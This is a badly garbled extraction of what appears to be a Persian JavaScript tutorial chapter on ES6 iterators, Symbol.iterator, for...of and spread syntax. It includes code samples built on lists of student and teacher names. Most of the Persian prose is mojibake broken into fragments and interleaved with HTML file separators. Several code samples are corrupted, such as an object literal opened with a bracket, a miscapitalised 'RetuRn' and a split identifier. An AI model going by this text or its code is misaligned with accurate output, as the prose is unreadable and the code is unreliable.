²
ی
Šƹ¸¼²Å ¿±»
ز
» ×
ی
Á
د
ɾ
هس
[
iterator
Ó
ک
Á
پرو
ƹ
¿ ش
±» ¶
. ب
³
م·آ¼ر
Ù
ه
»²Ó »
وع¶ ر
Èß
ر¼´ م
²
ر ب
»²¹¸ ´»²
ب
³
ر
»
د
Á
¾ا
º» á¼
ر
Ú± ƹ¸¼²Å ¿±»
بار
²
هد ک¶ با ه
³ µÐ
بازگ
object
Ú±
ر
³
next
Ö
ا
Á
م¾د´ با
µ
س
±
م·با
²æÁ ³
وع¶ مور
Èß
ک¶ م
µ
س
±
م· با
next
´ م¾د
»²
ج
» ²
. ه
³»³ Ö
ا
ßÁ» ¶Ã²
چ
Ú± ²æÁ ³
وع¶ مور
Èß
ر¼´ م
²
ن ب
»
´ آن ب¾و
»²
ج
»
Ö
ا
ȸ» ¶
ز ب
» çÍ
ط
» ´»²
ب
done
ژگ·
±¼ ¶
هد ک
³ µÐ
بازگ
value
¼
done
ژگ·ها´
±¼
با
object
Ú±
²
ب
»²
ب
done
ر
»
د
Ý
م
²
گ
» .³
م·شو
ϳ
¾فا
º» »
¶ ر
ò
چ
²
ر ه
³ ´
ر جار
»
د
Ý
م
value
ژگ·
±¼ ¼ ¶Ã²
یدن چ
º
ر
³
د
ß
´ م
»²
ج
» ¶ß
¾ی
Á ¼ ³»³ Ö
ا
ßÁ» ²Ì±³ ¶Ã²
چ
Ú±
next
م¾د
³
د
ß
´ م
»²
ج
»
ن با
»
باشد، م·¸و
false
»
وع¶ ر
Èß
م
Ö
ا
ȸ»
¶ ¸ا
ò
م¶ چ
»³»
ان
¹
م
» ¶
ک
³
هد بو
»
و
à µ
م
²Ó ¿
ی
È
ب¶ ه
³
ر
»
د
Á
¾ا
º»
object
Ú± ×
ی
Á
م·آ¼ر
Ù
ه
»²Ó
var
myIterator = {
next: function(){
// should return sth like { done: false, value:2 }
},
[Symbol.iterator]: function() { return
this;}
}
´³
ا
±
ز
ϳ
¾فا
º» ³
¼ مور
Ï
شد
²
گی
»²Ó
ا
Õ±²º ،
بسیار
³²
کارب
²
ما بخاط
»
· شد
Ó²Õ
م
ES6
ر
³ ·
ژگ
±¼ ¿±»
´³²
کارب
Ñ
د مثا
É
¼ با چ
Ï
ا شد
É
ژگ· آش
±¼ ¿±» Ö
و
Ô
با مف
Í
کام
Ù
هی
»
و
÷
م
Ä
¿ بخ
±»
ر
³ .µÓ²
ر گ
»²
ق
ی
É
ک
ϳ
¾فا
º»
ز آن
»
[
Iterator ´
رف
Ñ
م
ن
³
یاز بو
Á Æ
لی
³ ¼
ها
iterator
ë
قی
³ Ö
و
Ô
، مف
ϳ
ا
º ¼ Æ
¶ مثال· کام
Ç»
ر
»
هید با
³ Ï
جاز
» »
ب¾د
» ¿
ی
È
ر ه
³
189
͸
د
ØÉ³
================================================ FILE: HTML/192.html ================================================
µ
پ
±²¹º»¼
جا
á
·ها´ آموز
ºÍ
ک
Ù
ه
µ
´ لیس
»²
¶ ب
±»
آر
Ú±
ید
É
ور ک
ภ.
2
Ù
هی
³ ð
¸وضی
»
آنها ر
د:
Á»Ï
ه· شد
³
ر
»
د
Ý
م
classMates
µ
اب
â
ر
³ ²±
ز
Ö²Ó ¶
د ک¶ ب
±
ر
»³
const
classMates = [
‘Alireza masomi’
,
‘Mohammad ahmadi’
,
‘Reza shirdel’
,
‘²arhad yosefian’
];
´³²¹±¼
ید، ر
É
ک
ö
چا
Ѽ
جد
Ú±
ر
³ »
ر
³
و
à ·ºÍ
ک
Ù
ه
³»²Ó» Ö
ا
ȸ µ
¸ا لیس
³
¾¶ م·شو
º»
و
Ã
ا
È
ز ش
»
ها´
á¼
ز ر
» ϳ
¾فا
º»
¶ با
ÝÂ
ح
³
ا
ß±»
ا
È
ش
Ąº
ا
Å °
ا
Ⱦ
ح
»
؟
槯
ب¶ چ¶ صورت
µ
ش
»³
هید
»
و
à ¶
ک
م· باشد.
²æÁ ³
¶ مور
±»
ر¼´ آر
²
ا … ب
±
for , while , for in
ز
» ϳ
¾فا
º»
با
Ù
ا هس¾ی
É
ن ک¶ آش
³
¶ ز
ÝÂ
ح
ید:
É
ک
ϳ
¾فا
º» »
ر
²±
ها´ ز
á¼
ز ر
» ·¹± µº» ¿¹È
، م
Ñ
´ مثا
»²
ب
// regular for loop
for
(
var
i =
0
;i< classMates.length; i++){
console
.log(classMates[i]);
}
// while loop
var
index =
0
;
while
(index < classMates.length){
console
.log(classMates[index]);
index++;
}
// for-of loop
for
(
var
member
of
classMates){
console
.log(member);
}
µ
ا´ لیس
ß
ید ب
É
ور ک
à¸
ما
» ،³²±
ذ
Å·
م
Ö
ا
ßÁ» ×
ی
Á ·
گ
³
ا
º ¶
¼ ب
µº
ا
È
با ش
ë
، ح
µÝ
ی
Ý
ر ح
³
ì±
رش¾¶ ¸در
Ú
ی
¹
ب¶ ¸ف
»
ر
Ï
د
¹
آموزش
Æ
ا¸ید ک
º»
ز
» ·¾
، لیس
ϳ
ا
º ´»¶±»
·ها ب¶ صورت آر
ºÍ
ک
Ù
ه
ش¾¶ باشید.
»³ Ï
شد
2
https://codeburst.io/a-simple-guide-to-es6-iterators-in-javascript-with-examples-189d052c3d8e
190
²º
Generator
و
Iterator
================================================ FILE: HTML/193.html ================================================
const
schoolTeachers = {
allTeachers: {
math: [
“Mr.B.Ahmadian”
,
“Mr.A.Salami”
,
“Mrs.S.Gholami”
],
chemistry: [
“Mrs.F.Roshani”
,
“Mr.J.Rezaei”
,
“Mr.R.Tavakolli”
],
computer: [
“Mr.T.Alinezhad”
,
“Mr.D.Gholami”
]
}
};
Ùº» ¶
ب
property
Ú± ´»
ر
»³ ¶
ک
槯
object
Ú± ³
و
Ã
schoolTeachers
µ
¿ حال
±»
ر
³
رش¾¶
²
´ ه
»²
· ب
±
وع¶ها
Èß
م
²±
´ ز
»
ر
»³ ¼ ϳ
بو
²Ì±³
object
Ú± ³
و
à ¶
م·باشد ک
allTeachers
د.
Á
م·شو
Æ
شام
»
رش¾¶ ر
²
ن ه
»²
بی
³
ز
» ¶±»
آر
Ú± ،Ö»
کد
²
· م·باشد ک¶ ه
º
ر
³
ز
» ϳ
¾فا
º»
ان
¹
م
» ·¸
ب¶ صور
ì±¼²º Ú±
با
»
ن ر
»²
بی
³ Ö
ا
ȸ µ
¸ا لیس
³
¾¶ شو
º»
و
Ã
ا
È
ز ش
» ²
گ
» °
حا
ید ب¶
É
¾خا½ م·ک
Á» ¶
´ ک
³²¹±¼
ید، ر
É
ح· ک
»²
ش¾¶ باشد، ط
»³ »
ر
destructoring
ا
±
spread
²ÌÂÈ
ع
»²
ج
» Æ
قاب
for...of
¶ÝÂ
د ک¶ ح
ÉÉ
· کار م·ک
Á
ها زما
²ÌÂÈ
¿ ع
±» Ù
ی
Á»³·
؟ چون م
³
هد بو
»
و
Ã
چ¶ صورت
: Ù
ی
Á
م·ز
µ
¸س
Ú± »
ب¾د
»
ر
³ ،
باشد
for
(
const
teacher
of
schoolTeachers){
console
.log(teacher);
}
// TypeError: {} is not iterable
Ù
ی
Á»
·¸و
ÈÁ
، چون ما
µº» À
خ
Ð
م
Ù
ه
²
م
» ¿±» Æ
لی
³ ،
هد
³·
ا م
äà °
ک¶ کد با
Ù
ی
É
م·ک
Ï
اهد
Ð
م
هید شد ک¶
»
و
à ¶
م¾وج
Ä
¿ بخ
±» ´
ا
Ô¾Á»
ر
³
ما
» ،Ù
ی
É
ک
ϳ
¾فا
º»
object
Ú± ´»²
ب
»
ر
for..of
¶ÝÂ
ح
و
ÈÁ ϳ
¾فا
º» ¶ÝÂ
¿ ح
±»
ز
» ×
ی
Á
object
ن ر¼´
»
ک¶ ب¾و
³²
ک
³
ا
ß±» ·¾
حال
Ú±
ن
»
¶ م·¸و
Á
و
Ì
چ
191
͸
د
ØÉ³
================================================ FILE: HTML/194.html ================================================
[
object iterator
ساخت
Ö
ا
Á ¶
م¾د ب
Ú± ³
و
à ·ÂÕÓ ´
س¾¶ها
Á»³
با
Ù
ی
É
· م·ک
Õº »
ب¾د
»
ر
³ ،Ï
¶ شد
Ç»
ر
» Ñ
ر مثا
³
»
ن ر
»²
بی
³
ز
» ·
ه
»
لخو
³ µ
¶ لیس
Ç»
ر
» ¶
¸ا ¼ظیف
Ù
ی
É
ک
³
ا
ß±» ·Â
ص
»
object
ر¼´
²
ب
getAllTeachers
³
مور
object
¼ ب¶
ê±²Õ¸
م¾د
Ú±
ن
»
، م·¸و
»²
ج
» ·
گ
³
ا
º ´»²
ی× ب
Á ³
ی¿ مور
È
´ ه
»²
ش¾¶ باشد. ب
»³
¿ م¾د قاعد¸ا
±» ¶Á
¾¶ بد
Î
ل
» ،³²
ک
³
ا
ß±» »
ر
³
و
à ²æÁ ³
مور
µ
· آن، لیس
Á»
و
û²Ó
با
ì
پ
º ،³²
ک
bind
²æÁ
ϳ
¾فا
º»
ن
»²
بی
³
عات
Í
ط
» ı
ا
È
ی
Å ¼
for
¶ÝÂ
¿ ح
±
د
É
ز چ
» ϳ
¾فا
º»
¼ با
µ
ش
»³
هد
»
خو
Á ·±
ا
α
کدها´ ز
هی
³·
م
ï²
· کد ش
Õ
ق
»¼ Ñ
¶ مثا
Ç»
ر
»
ز
» ìÅ »
آن ر
Æ
کام
Æ
ی
ÂÞ¸
، ک¶
³²
ک
const
schoolTeachers = {
allTeachers: { /*
*/ },
getAllTeachers:
function
(){
const
teachers = [];
// loop over math teachers
for
(
const
teacher
of this
.allTeachers.math){
teachers.push(teacher);
}
// loop over chemistry teachers
for
(
const
teacher
of this
.allTeachers.chemistry){
teachers.push(teacher);
}
// loop over computer teachers
for
(
const
teacher
of this
.allTeachers.computer){
teachers.push(teacher);
}
return
teachers;
}
};
،Ù
ی
É
ک
µÓ
ا
±
ر
³ ¶±»
آر
Ú±
ب¶ صورت
»
رش¾¶ها ر
Ö
ا
ȸ
ن
»²
بی
³ µ
لیس
Ù
ی
Á»
م·¸و
á¼
¿ ر
±»
ز
» ϳ
¾فا
º»
با
Ú±
ن
»
و
É
ب¶ ع
»
ر
Ä
¿ بخ
±» ²
گ
» ،Ñ
´ مثا
»²
د، ب
É
ه
³ ý
ر
á¼
¿ ر
±»
ر
³
د
Á»
ت م·¸و
͹Ð
´ م
²º Ú±
ما
»
¿±»
ز
»
هد
»
و
÷
´ ک¶ م
²Ì±³ ì±
و
Á¶
ام
Á²
ب
µº» ¿¹È
، م
Ù
باشی
ϳ²
ک
»²
ج
» °
با
ðäº ´»Ïܼ²Å
ر
³ ѼÜ
ما
¼ شو
²
ر¼ب
ƹÐ
د ¼ با م
Á×
ب
í
د حد
Á»
¾و
Á »
ر
getAllTeachers
ن م¾د
»
و
É
د، ع
É
ک
ϳ
¾فا
º»
object
باشد ¼
í²¾º³ Æ
قاب
Ï
ر
»
و
È
ه
À
خ
Ð
م
Ö
ا
Á
م¾د با
Ú± ¶
ک
Ù
هی
³ ¶Ç»
ر
» ´
ار
¹
ه
»
ر
Ù
س¾ی
Á»
م·¸و
²
گ
»
ما
»
192
²º
Generator
و
Iterator
================================================ FILE: HTML/195.html ================================================
… ³²
م·ک
»
ید
Å Ä
ا بسیار کاه
äÃ
¼ شدن با
²
ر¼ب
Ñ
ا
Ⱦ
ح
» ،
هد
³ µÐ
بازگ
»
ر
ϳ»³
ز
» ·à
خ
Ð
م
ç
و
Á
¶ÝÂ
´ ح
»²
ج
» ´
از
º ³
ر
»
د
Á
¾ا
º» ´»²
ب
ECMA
óº
¸و
²¸Ä
ی
Å ´
از
º
ان
ºÙ
¼ ه
²¹
¿ ¸ف
±» ¶Á
خ¾ا
Î
وش
Ã
ک¶ با
槯
iteration
ب¶
Ê
بو
²
م
object
¶ کار
ß
¾ی
Á ¼ µº» Ï
شد
Ö
ا
ßÁ» Ë
ا
à ´
ها
object
ر¼´
²
ب
د.
±
م·آ
µº
بد
Symbol.iterator
ز
» ϳ
¾فا
º»
[
Symbol
اد
Ç·
¶Ç»
ر
» ·Î
ات جال
Á
ا
¹
م
» ´²º Ú± ¼ µº» Ï
¶ شد
Ó
ضا
» ES6
ر
³ ×
ی
Á ´
ید
Â
¶ ک
ÈÂ
¿ ک
±» Û
ق
»¼
ر
³
ها´
µ
ی
Â
ز قاب
» ·¹± Ñ
´ مثا
»²
، ب
µº» í²¾º³ Æ
، قاب
µ
اب
â ´
ژگ·ها ¼ م¾دها
±¼ ´¼
ر
²
هد ک¶ ب
³·
م
Ñ
مثا
³
ر مور
³ ¶
ک
Ù
ی
É
¸ولید ک
»
´ ر
³²Ó ¶
ب
²àÞÉ
م
²±³
ا
Ý
¸ا م
³
از
º·
ر م
³
قا
»
ک¶ ما ر
µº» ¿±»
symbol
´ مثا
»²
د. ب
Á
و
ÐÁ Ê
و
Â
ها مخ
object
ی¶
Ý
ژگ·ها´ ب
±¼
·، با
ÂÕÓ
object
console
.log(
Symbol
(
‘foo’
) ===
Symbol
(
‘foo’
));
// output: false
Æ
قاب
object
Ú± ¶
ک
Ù
ی
É
م·ک
ϳ
¾فا
º»
Symbol
ر¼´
²
ب
iterator
ژگ·
±¼
ز
» ،Ï
شد
²
ک
è Ñ
مثا
³
ر مور
³
3
م·شو
ϳ
¾فا
º»
for...of
¶ÝÂ
ر ح
³ ¶
د ک
Á»³²
م·گ
²
ب
»
ر
iterate
ر
»
د
Ý
¼ م
槯
next
Ö
ا
Á ¶
م¾د ب
Ú± ´»
ر
»³ ¶
د ک
Á»³²
باز م·گ
object
Ú±
Symbol.iterator
¾ان
±»²
¶ ب
ÂÈ
¿ ج
±» …
م·باشد
done
¼
value
ژگ·ها´
±¼
با
object
Ú± ×
ی
Á
¿ م¾د
±» ³
و
à ·¾Ð
بازگ
آن
²
گذر´ ب
Ä
´ بخ
»
ب¾د
»
ر
³ ¶
ک
³²
م·ک
²
ک
è »
¶ ر
ÂÈ
ی¿ ج
È
ا ه
Ý
قی
³
iterator
ƹ¸¼²Å
؟
µ
یس
Á
ا
É
آش
ش¾ی
»³
3 https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/
Symbol/iterator
193
͸
د
ØÉ³
================================================ FILE: HTML/196.html ================================================
[
computed property
ان
¹
م
» ¶
ک
Ù±
ر
»³ )Ï
شد
á
ز
»³²Å ´
ژگ·ها
±¼(
computed property
Ö
ا
Á ¶
· ب
Á
ا
¹
م
» ES6
ر
³
´ مثا
»²
هد. ب
³·
م
object
ب¶
»
ر
µ
اب
â ²
ی
õ ´
ژگ·ها
±¼
ز
» ϳ
¾فا
º»
let
index =
“1”
;
let
obj = {
foo:
“bar”
,
[
“baz”
+ index ]:
42
}
Symbol.iterator
ن
»
و
É
م¾د با ع
Ú± ¶
ک
Ù
ی
É
¸ولید ک
object
Ú± Ù
ی
Á»
ژگ· م·¸و
±¼ ¿±»
ز
» ϳ
¾فا
º»
با
ر
³ Ä
¼ بخ
³
ر
³ ¶
ک
²±
هد. ب¶ کد ز
³ µÐ
بازگ
Iterable
ƹ¸¼²Å Ö²Ó ¶
ب
object
Ú± ¼
ش¾¶ باشد
»³
ید:
É
ک
µ
ق
³ µº» Ï
د آمد
Õ
¶ ب
Þ
¶ ¼ صف
Þ
¿ صف
±»
const
Iterable = {
[
Symbol
.iterator]() {
let
level =
0
;
const
iterator = {
next() {
level +=
1
;
if
(level ===
1
){
return
{
value:
“Level 1 “
,
done:
false
};
}
else if
(level ===
2
){
return
{
value:
“Level 2 “
,
done:
false
};
}
else if
(level ===
3
){
return
{
value:
“Level 3 “
,
done:
false
194
²º
Generator
و
Iterator
================================================ FILE: HTML/197.html ================================================
};
}
RetuRn
{
value:
undefined
,
done:
true
};
};
};
return
iterator;
}
}
ی
É
م·ک
ϳ
¾فا
º» ²æÁ ³
مور
object
ز
» ·
گ
³
ا
º ¶
ی× ب
Á °
´ کد با
»²
ج
» ´»²
ب
var
levelCounter = Iterable[
Symbol
.iterator]();
levelCounter.next();
// {value: “Level 1” , done: false}
levelCounter.next();
// {value: “Level 2” , done: false}
levelCounter.next();
// {value: “Level 3” , done: false}
levelCounter.next();
// {value: undefined , done: true}
Ö
ز
°
object
Ú±
ر
³ ϳ
¾فا
º» ³
ن مور
»
و
É
از´ ع
º ³
ر
»
د
Á
¾ا
º» ´»²
ب
Ù
م¾د ک¶ گف¾ی
Ú± ،Ï
شد
²
ک
è
ر کد
³
»
ر
object
¿±» .
د
É
· م·ک
Á»³²
بازگ
object
Ú± ¶
ک
Ù±³²
ک
ê±²Õ¸
Symbol.iterator
Ö
ا
Á
با
»
ر
Ù±
ر
»³
¶Â
ح
²
ر´ م
»
د
ÔÌÁ ¶
ک¶ ¼ظیف
Ù±³²
ک
ê±²Õ¸
level
Ö
ا
Á ¶
ب
²
م¾÷ی
Ú±
ز آن
» ÆÎ
¼ ق
Ù±
امید
Á
iterator
ک¶
Ù±³
و
ÈÁ ³
ا
ß±»
next
Ö
ا
Á ¶
ب
Û
¸اب
Ú±
iterator
ب¶
Ê
بو
²
م
object
ÆÃ»³
ر
³ .³
ر
»³ Ï
د
Ô
ع
²
ب
»
ر
²
کارب
·Á»³²
بازگ
»
ر
éº
ا
É
م
Ąº
ا
Å ،Ï
ر´ شد
»
د
ÔÌÁ
level
í
ا
º» ²
¼ ب
Ù
ی
Á×
ب
»
بار صد
²
ر ه
»²¹¸ ²
ر ه
³ Ù
ی
Á»
ب¾و
ی
É
ک
Ú± ¼ ϳ
و
ÈÁ ϳ
¾فا
º»
iteration
ƹ¸¼²Å ³
ر
»
د
Á
¾ا
º»
ز
» Ï
¼بار
³ ×
ی
Á
ها
Ąº
ا
Å µ
م
²Ó
ن
³
بو
³
ر
»
د
Á
¾ا
º» ´»²
ب
مان ب¶
²æÁ ³
ر مور
»²¹¸ ²
گ
»
م·باشد ¸ا
done
¼
value
ژگ·
±¼ ´»
ر
»³ ¶
ک
Ù
هی
³·
م
µÐ
بازگ
object
م·شو
true
²
ب
»²
ب
done
ر
»
د
Ý
باشد م
Ï
ید
º
ر
Ö
ا
ȸ»
ر
»²¹¸ Ö
ا
ßÁ» ´»²
¶ ب
ÝÂ
ز ح
» ç
و
Á ¿±» ¼ ³
ر
»³ ³
¼جو
for...of
¶ÝÂ
· ح
Âû³
¾ار
Ã
ا
º
ر
³ ³²¹±¼
ی¿ ر
È
ا ه
Ý
قی
³
د
É
م·ک
³
ا
ß±»
یدن آنها
º
ر
Ö
ا
ȸ» ¶
¸ا زمان ب
²
اص
É
ع
Ö
ا
ȸ ı
ا
È
ی
Å ´»²
ب
iterator
Ö²Ó ¶
ب
object
Ú±
195
͸
د
ØÉ³
================================================ FILE: HTML/198.html ================================================
د.
Á
ا
º
م·ر
Ö
ا
ȸ» ¶
ب
»
ر
²æÁ ³
مور
ı
ا
È
ی
Å ²àÉ
¿ ع
±²Ã
¸ا آ
next
· م¾د
Á»
و
û²Ó
¼ با
»
ر
Ï
¶ شد
Ç»
ر
»
object
،Ï
¶ شد
Ç»
ر
»
ات
Þ
¼ با ¸وضی
Ù±³²
گ
²
¶ ب
º
ن مدر
»²
بی
³ ³
ر مور
³ Ï
¶ شد
Ç»
ر
» Ñ
ب¶ مثا
.Ù±
ربیا¼ر
³
iterate
Æ
قاب
object
ڱ ƹ
ب¶ ش
const
schoolTeachers = [
allTeachers: {
math: [
“Mr.B.Ahmadian”
,
“Mr.A.Salami”
,
“Mrs.S.Gholami”
],
chemistry: [
“Mrs.F.Roshani”
,
“Mr.J.Rezaei”
,
“Mr.R.Tavakolli”
],
computer: [
“Mr.T.Alinezhad”
,
“Mr.D.Gholami”
]
},
// this will act like for...of
[
Symbol
.iterator](){
return Object.values(this.allTeachers)
.reduce((acc, teachers) => [...acc, ...teach-
ers], [])
[Symbol.iterator]();
}
}
²æÁ ³
مور
object
¸ا
³
م·شو
î
هد باع
³·
م
Ö
ا
ßÁ» »
ر
ú
س· کار´ ب×ر
±
و
Á
کد
óà ¿±²¾È
ک¶ با ک
ø
و
Ó
کد
باشد.
ı
ا
È
ی
Å Æ
قاب
for...of
¶ÝÂ
گ· با ح
³
ا
º ¶
د ¼ ب
±
ر م·آ
³
iterable
Ö²Ó ¶
ب
196
²º
Generator
و
Iterator
================================================ FILE: HTML/199.html ================================================
for
(
const
teacher
of
schoolTeachers) {
console
.log(teacher);
}
و
ÈÁ ö
چا
»
ر
²æÁ ³
مور
object
²±³
ا
Ý
ی× م
Á
spread
²ÌÂÈ
ز ع
» ϳ
¾فا
º»
ن با
»
ح¾· م·¸و
console
.log([...schoolTeachers]);
// array of teachers
console
.log(...schoolTeachers);
// string of teachers
²
ن م¾÷ی
³»³ í
ا
Å ·
ژگ
±¼
ز
» ϳ
¾فا
º»
با
string
¼ ¶±»
ب¶ صورت آر
»
ن ر
»²
بی
³ ·
ام
º» ø
و
Ó
کد
Úκ ¼³
ب¶
ϲ
¼ ر¼زم
ϳ
ا
º ´
ام¶ها
Á²
ح· ب
»²
ر ط
³
د
±
د. شا
ÉÉ
م·ک
ö
چا
spread
ب¶ صورت
iterate
Æ
قاب
Ë
ا
à ´
ها
³²
´ ¼ کارب
»¶Ó²
¶ها´ ح
Á
ح· ک¾ابخا
»²
ر ط
³
ما
» ،
اشد
ÎÁ
یاز
Á ·¹
ی
ɹ¸ ¿
ی
É
ز چ
» ϳ
¾فا
º»
ر
»³
ر
»²
¸وج¶ ق
³
مور
Ï
ر
»
و
È
ا ه
äà Ñ
ا
Ⱦ
ح
» ¿±²¾È
¼ با ک
éº
ا
É
س· م
±
و
Á
، کد
Ï
ور
æÉ
م
[
ت
±
سکری
²
¶م´ جاو
ǽ Æ
¸ا
Iterable
·¸»è ƹ
د ¼ ب¶ ش
É
م·باش
»
ر
»³ »
ر
iterate
µ
ی
Â
ها قاب
object
ز
» ´
بسیار
µ
پ
±²¹º»¼
ر جا
³
گ·
³
ا
º ¶
¼ ب
Ѽ» Ï
ا
ÌÁ
ر
³ µº» ¿¹È
¾¶ م
Î
ل
» .
د
Á»Ï³»³ ´
جا
³
و
à ѳ
ر
³ »
ر
ÆÎ
ق
Ñ
د مثا
ÉÁ
¶ کد´ ما
¹¸
·±
ها
Ñ
م¶ مثا
»³»
ر
³ .³²
· ب
Å
آنها
³²
کارک
Ï
و
ÞÁ ¶
ن ب
»
م·¸و
µ
ق
³ ·È
ما با ک
» Ù±
و
ÐÁ ¶
ی
ñ
¿ ق
±» ¶
م¾وج
·Ó²Õ
م
»
د ر
ɾ
هس
iterable
ا
±
د
ÉÉ
م·ک
ϳ
¾فا
º»
iterable
ƹ¸¼²Å
ز
» ¶
ک
»
· ر
±
ها
Ï
¼ قاعد
²
اص
É
ز ع
»
ی
É
م·ک
ا
È
Iterable
³
ر
»¼ ²¸ë
قی
³ ì
پ
º Ù
ی
É
آنها بیان م·ک
³
ر مور
³ ·¸
ا
Þ
¸وضی
Ï»²È
ب¶ ه
»
ر
iterable
³
ر
»
ز مو
» ·¾
لیس
.Ù±
م·شو
îÞÎ
م
Á
iterate
µ
ی
Â
قاب
typed
¶ها´
±»
¶ها ¼ ح¾· آر
±»
آر
:)...Å
Uint8Array
(
ی
À
و
 ²
¼ا
¹»·
آر
Å
¼ا
¹»·
آر
ز
for...of
¶ÝÂ
ر¼´ آنها ح
²
ن ب
»
د ¼ م·¸و
É
م·باش
»
ر
»³ »
ر
Á
رش¾¶
Ú± µÝ
ی
Ý
ر ح
³
ما
» ،
د
ɾ
یس
Á ¶
وع
Èß
م
²
چ¶ رش¾¶ها ب¶ ظاه
²
گ
»
:)Strings(
¼ا
¹
رشت
ها
²¾
ک
»
کار
Ú¸ Ú¸ ´¼
ر
²
م·باشد، ¸ا ب
»
ر
»³ »
ر
iterate
µ
ی
Â
ها م·باشد ک¶ قاب
²¾
ک
»
ز کار
» ´»¶
وع
Èß
م
شو
ϳ
¶ ز
ÝÂ
دها ح
¹
ی
Á
و
±
ا
±
Á
بوط¶ ب¶ آنها
²
م
²±³
ا
Ý
یدها ¼ م
Â
ر¼´ ک
²
ن ب
»
ی× م·¸و
Á
وع¶ها
Èß
م
ç
و
Á ¿±»
ر
³
:
Set
Å
Map
ش
»³
iterate
197
͸
د
ØÉ³
================================================ FILE: HTML/2.html ================================================
================================================ FILE: HTML/20.html ================================================
================================================ FILE: HTML/200.html ================================================
Á
·ÉÕ
م
Û
ب
»
¸و
ÆÃ»³
ر
³ ¶
ک
arguments
²
ک¶ م¾÷ی
Ù
ی
Á»³·
م
:ÏÄ
¸ا
Ðη´ arguments ¶±
تغ
³
ر
»³ ¶±»
د آر
ÉÁ
ا
È
¾ار´ ه
Ã
ا
º ¶
ک
µº» ²
اص
É
ز ع
» ¶
وع
Èß
م
Ú±
د
É
م·ک
»
ید
Å
Á
²
ب
Ù
ی
Á»
، م·¸و
Ù
ی
É
¾خا½ ک
Á»
dom
وع¶
Èß
م
Ú±
html
¶Þ
صف
Ú±
ز
» ·¾
¼ق
:
DOM
²
من¿¼ا
Ñ·
ش¾¶ باشی
»³
iterate
ی×
Á
ر¼´ آنها
¿±» ،Ï
شد
iterable
´³
ها´ عا
object
ا
± ¼
set , map
²
· ب
ɾÎ
ها´ م
iterator
³
ر مور
³ ÙÔ
¾¶ م
¹Á
¿¹È
·باشد ¼ م
ÈÁ ²æÁ ³
مور
object
شدن
²Å é
¸ی
²¸
ما
»×
ل
» ،²
اص
É
ر¼´ ع
²
ب
iterate
é
¸ی
²¸ ¶
ک
槯
،µº» À
خ
Ð
ما چی×´ ک¶ م
» ،³
· شو
Á»³²
بازگ
Ö¼³ ¶Ã
ر چو
³ µº» Ï
شد
²Å »
ب¾د
» ¶
ژگ· ک
±¼ µº»
.µº» ¶
وع
Èß
م
²
اص
É
¶´ ع
È
ر¼´ ه
²
ب
iterate
Ö
ا
ßÁ» ·Õä
ی¿ ق
Èñ¸
[
¶د¾
³
iterable
ر¼س´
³
¿±» ¶
ک
³
ر
»
د
Á ·
ل×¼م
ما
» ،Ù±³²
ب
Ö
ا
Á »
ر
iterate
Æ
قاب
³
ر
»
د
Á
¾ا
º» ´
وع¶ها
Èß
م
ÆÎ
ق
Ä
ر بخ
³
،Ï
از´ شد
º ϳ
یا
Å ´
ام¶ها
Á²
ر ب
³ µº» ¿¹È
م
³
ر
»
¿ مو
±» ²
ب
ϼÍ
ید، چون ع
É
ک
ĉ
حف
»
¶ها ر
ɱ×
گ
ان
É
ی
È
ط
»
ن آنها
³
بو
iterable
ز
» »
ب¾د
»
یاز باشد
Á ¼
د
É
باش
Ï
ح· شد
»²
´ ط
²Ì±³ ·à
وع¶ها´ شخ
Èß
م
ϳ
¾فا
º»
ن
³
بو
iterable
ا´
±»×
´ م
²Ì±³
ز
»
ا
± Ù
ی
Á×
ب
for...of
¶ÝÂ
ر¼´ آنها ح
²
ب
ì
پ
º ¼ ϳ²
ک
Æ
حاص
ی
É
ک
ز
» µ
س
±
¶ م·با
¹É±» ¼ ³
ر
»³ ·±
د´ها
É
یازم
Á ¶
¼ چ
µ
· چیس
ÉÓ ü
ا
Þ
ن ب¶ ل
³
بو
iterable
Ù
ی
Á»³·
م
²
ا م¾÷ی
± ç
و
Á Ú±
ن
³
بو
iterable
·º
ر
²
´ ب
»²
¿ ب
±» ²
ب
ϼÍ
د. ع
É
¼´ ک
²
ی
Å
ن
³
بو
iterable
ƹ¸¼²Å
Ï
شد
²
ک
è ´
ها
Ñ
ر مثا
³ ¶
ور ک
äÁ
ا
È
، ه
Ù
ی
É
ک
ϳ
¾فا
º» ]
Symbol.iterator
[
ز م¾د
» Ù
ی
Á»
م·¸و
Ë
ا
Ã
óº
وع¶ها ¸و
Èß
· م
ò
ر¼´ ب
²
، ب
iterate
یاز ب¶
Á ´
از
º³
ر
»
د
Á
¾ا
º» ´»²
¿ م¾د ب
±» ،Ù±³»³ ð
¸وضی
¼ ϳ
ز
»
صد
»
¿ م¾د ر
±»
iterate
Æ
وع¶ قاب
Èß
م
²
ر¼´ ه
²
ب
Ù
ی
Á»
م·¸و
ìÅ
،µº» Ï
¶ شد
Ó
ضا
»
ECMA
ی
É
ک
Æ
ان حاص
É
ی
È
ط
»
ن آن
³
بو
³
ز موجو
»
ا
±
پ
±²¹º»¼
جا
³
ر
»
د
Á
¾ا
º» ´
وع¶ها
Èß
ر م
³ ]
Symbol.iterator
[
· م¾د
Á»
و
û²Ó
ز
» ·
مثال
const
myMap =
new
Map
([[
“ali”
,
2
]])[
Symbol
.iterator]();
console.log(
myMap
);
// MapIterator {“ali” => 2}
MapIterator
Ú± ¼ Ï
شد
»²
ج
»
map
وع¶
Èß
ز م
» ]
Symbol.iterator
[
م¾د
ø
و
Ó
´ کد
»²
ج
»
با
198
²º
Generator
و
Iterator
================================================ FILE: HTML/201.html ================================================
هد.
³·
م
µÐ
بازگ
د:
É
م·ک
ø
ی× صد
Á
set
¼ ´»¶±»
´، آر
»¶¾
وع¶ها´ رش
Èß
´ م
»²
ب
Ñ
ی¿ مثا
È
ه
“hi”
[
Symbol
.iterator]()
// StringIterator {}
[
‘1’
][
Symbol
.iterator]()
// Array Iterator {}
new
Set
([
1
,
2
])[
Symbol
.iterator]()
// SetIterator {1, 2}
وش
Á ×
ی
Á
ن
³
بو
iterable
·º
ر
²
´ ب
»²
ب
Û
¸اب
Ú±
ن
»
م·¸و
ø
و
Ó
¶ کد
¹¸ í
ا
º»²
ب
// https://stackoverflow.com/questions/18884249/
function
isIterable
(
obj
) {
// checks For null and undefined
if
(obj ==
null
) {
return
false
;
}
return typeof
obj[
Symbol
.iterator] ===
‘function’
;
}
[
¸ا
iterable
ز
² ¾
ا
Ϲ
نن
È µ
اد
Ö¿
س
²
iterable
وع¶ها´
Èß
ا شدن با م
É
ن ¼ آش
³
بو
iterable
¼
iterate
Ö
و
Ô
